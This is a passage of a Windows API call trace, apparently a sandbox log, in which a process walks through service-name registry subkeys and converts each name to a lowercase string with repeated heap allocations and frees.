0x21f1ad8 [0227.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.155] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0227.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0227.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.155] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0227.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0227.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.155] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0227.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0227.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.155] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0227.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0227.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.156] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0227.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0227.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.156] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0227.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0227.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.156] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0227.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0227.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.157] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0227.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0227.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.157] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0227.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0227.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.157] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0227.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0227.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.157] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0227.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0227.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.158] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0227.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0227.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.158] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0227.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0227.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.158] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0227.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0227.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.159] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0227.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0227.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.159] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0227.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0227.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.159] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0227.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0227.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.159] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0227.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0227.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.160] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0227.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0227.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.160] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0227.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0227.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.160] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0227.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 